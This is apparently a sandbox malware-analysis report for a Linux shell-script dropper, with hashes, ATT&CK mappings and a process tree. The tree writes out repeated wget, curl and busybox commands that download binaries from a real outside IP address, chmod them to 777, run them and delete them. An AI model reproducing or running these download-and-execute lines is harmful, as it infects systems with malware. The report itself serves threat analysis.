9c3accb8ffe323ef8c7716a2fac201ed46f3a2b9a97d316a9fab2ab350456196

Analysis

max time kernel
25s
max time network
27s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/11/2024, 02:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9c3accb8ffe323ef8c7716a2fac201ed46f3a2b9a97d316a9fab2ab350456196.sh
Size 10KB
Sample241112-c8enrsskdt
SHA256 9c3accb8ffe323ef8c7716a2fac201ed46f3a2b9a97d316a9fab2ab350456196
MD5 82d5f8a562afacc3eb57fcf545fdf9eb
SHA1 02f497614bf06ced05a09d42f37877309bcc1742
SHA512 48b6010e1954922dc84eda44e18bb58307300bc4530bd2aed1b5655da816f8991d5a932e8717e710f04fc5a705dec7c729bd1ba054ebd5007651802dac5f1319
SSDEEP 96:DemyijPzybR1RZRvgAP7FFT7lA0VwC0I6VC/myijPzLgin9gR1RZRvgADNBCVFLd:DemyijPzybr7R7FCXhimyijPzgr7kh
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
804	chmod
810	chmod
678	chmod
742	chmod
796	chmod
729	chmod
784	chmod
790	chmod
816	chmod
828	chmod
834	chmod
767	chmod
822	chmod
840	chmod
703	chmod

Executes dropped EXE 15 IoCs

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 30 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
843	wget
831	wget
832	curl
833	busybox
835	du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
836	rm

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM	curl
File opened for modification	/tmp/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS	curl
File opened for modification	/tmp/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR	curl
File opened for modification	/tmp/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge	curl
File opened for modification	/tmp/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh	curl
File opened for modification	/tmp/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon	curl
File opened for modification	/tmp/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O	curl
File opened for modification	/tmp/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq	curl
File opened for modification	/tmp/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq	curl
File opened for modification	/tmp/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ	curl
File opened for modification	/tmp/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM	curl
File opened for modification	/tmp/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV	curl
File opened for modification	/tmp/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw	curl
File opened for modification	/tmp/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x	curl
File opened for modification	/tmp/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy	curl

/tmp/9c3accb8ffe323ef8c7716a2fac201ed46f3a2b9a97d316a9fab2ab350456196.sh
/tmp/9c3accb8ffe323ef8c7716a2fac201ed46f3a2b9a97d316a9fab2ab350456196.sh
1⤵
PID:644
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:646
- /usr/bin/wget
  wget http://216.126.231.240/bins/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  PID:648
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:667
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  PID:676
- /bin/chmod
  chmod 777 AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  ./AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  - Executes dropped EXE
  PID:679
- /bin/rm
  rm AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
  2⤵
  PID:681
- /usr/bin/wget
  wget http://216.126.231.240/bins/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  PID:682
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:683
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  PID:688
- /bin/chmod
  chmod 777 UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  - File and Directory Permissions Modification
  PID:703
- /tmp/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  ./UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  - Executes dropped EXE
  PID:704
- /bin/rm
  rm UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
  2⤵
  PID:705
- /usr/bin/wget
  wget http://216.126.231.240/bins/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  PID:707
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:713
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  PID:721
- /bin/chmod
  chmod 777 5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  ./5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm 5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
  2⤵
  PID:732
- /usr/bin/wget
  wget http://216.126.231.240/bins/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  PID:733
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  PID:741
- /bin/chmod
  chmod 777 Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  ./Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
  2⤵
  PID:745
- /usr/bin/wget
  wget http://216.126.231.240/bins/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  PID:761
- /bin/chmod
  chmod 777 MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  ./MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  - Executes dropped EXE
  PID:768
- /bin/rm
  rm MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
  2⤵
  PID:769
- /usr/bin/wget
  wget http://216.126.231.240/bins/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  PID:783
- /bin/chmod
  chmod 777 9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  ./9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  - Executes dropped EXE
  PID:785
- /bin/rm
  rm 9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
  2⤵
  PID:786
- /usr/bin/wget
  wget http://216.126.231.240/bins/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  PID:787
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  PID:789
- /bin/chmod
  chmod 777 5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  ./5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  - Executes dropped EXE
  PID:791
- /bin/rm
  rm 5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
  2⤵
  PID:792
- /usr/bin/wget
  wget http://216.126.231.240/bins/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  PID:793
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:794
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  PID:795
- /bin/chmod
  chmod 777 obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  ./obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  - Executes dropped EXE
  PID:797
- /bin/rm
  rm obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
  2⤵
  PID:798
- /usr/bin/wget
  wget http://216.126.231.240/bins/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  PID:801
- /bin/chmod
  chmod 777 l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  ./l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  - Executes dropped EXE
  PID:805
- /bin/rm
  rm l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
  2⤵
  PID:806
- /usr/bin/wget
  wget http://216.126.231.240/bins/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  PID:807
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  PID:809
- /bin/chmod
  chmod 777 qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  ./qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  - Executes dropped EXE
  PID:811
- /bin/rm
  rm qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
  2⤵
  PID:812
- /usr/bin/wget
  wget http://216.126.231.240/bins/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  PID:815
- /bin/chmod
  chmod 777 7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  ./7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm 7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
  2⤵
  PID:818
- /usr/bin/wget
  wget http://216.126.231.240/bins/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  PID:821
- /bin/chmod
  chmod 777 Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  ./Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
  2⤵
  PID:824
- /usr/bin/wget
  wget http://216.126.231.240/bins/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  PID:825
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  PID:827
- /bin/chmod
  chmod 777 TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  ./TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  PID:830
- /usr/bin/wget
  wget http://216.126.231.240/bins/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - System Network Configuration Discovery
  PID:831
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:832
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - System Network Configuration Discovery
  PID:833
- /bin/chmod
  chmod 777 du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  ./du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:835
- /bin/rm
  rm du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - System Network Configuration Discovery
  PID:836
- /usr/bin/wget
  wget http://216.126.231.240/bins/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  PID:837
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:838
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  PID:839
- /bin/chmod
  chmod 777 TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  ./TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  - Executes dropped EXE
  PID:841
- /bin/rm
  rm TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
  2⤵
  PID:842
- /usr/bin/wget
  wget http://216.126.231.240/bins/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
  2⤵
  - System Network Configuration Discovery
  PID:843

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM

Path /tmp/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
Size 176B
SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
MD5 e1732e70f015e99d14dff1eeeaec9966
SHA1 c28358cd15b9a0bea63c5b2ed0c9b8d5cb006113
SHA512 6ac4f83ce675f8a7855c18eea51c654f19e66bfa335a5125d06ceb4293ecef3a6a12a4e57809e9531dd13b83e1d591e476973e88094fa361c0847dbdeb5923a7
MD5 SHA1 SHA512

Submit Download

UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh

Path /tmp/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM	679	AZTtE6Jb0OHxUOiqW3a2NxgL23T2e7vMVM
/tmp/UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh	704	UShGKR6ljVJMUTJobn7Rn9cqP9B5RWQzEh
/tmp/5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV	731	5oSIVPPax0RPVreoi4qJORlDhrdJbScWgV
/tmp/Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw	744	Kz7NYjIJhDKH2GxfjDzuvczAsdlSb5mlBw
/tmp/MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon	768	MGhNKLYpE56z8ARgAofBqHtFVxccY8wYon
/tmp/9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM	785	9Z2MP9XPZ0W4us9tZU9StvFOl5RWpVaaJM
/tmp/5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x	791	5rty6Y4JcgWxwx3Zcs4u0mZ7iDGjD60h3x
/tmp/obxFEFXh3JOvLZisEkirkEerAahAxLmQtS	797	obxFEFXh3JOvLZisEkirkEerAahAxLmQtS
/tmp/l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR	805	l0NwmYpd2DqB1OPBXp8Zp992rspN7tIBXR
/tmp/qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy	811	qevN5Gqwcf7iv2PoQJG02HqPv6e0BxygJy
/tmp/7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O	817	7MS8C9JHdnTJhFlVBlrc0jgTtu3hAe0t2O
/tmp/Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge	823	Az1wxcbJAHM5ERRFNA8rCdPuvHMUWRn9Ge
/tmp/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq	829	TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq
/tmp/du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ	835	du0y6fvcIPMkaIJtzJzVdP5d9MEAfsC5GQ
/tmp/TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq	841	TpJIeV1wPn011djWOVvl8h3FgWvGy5FSTq

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads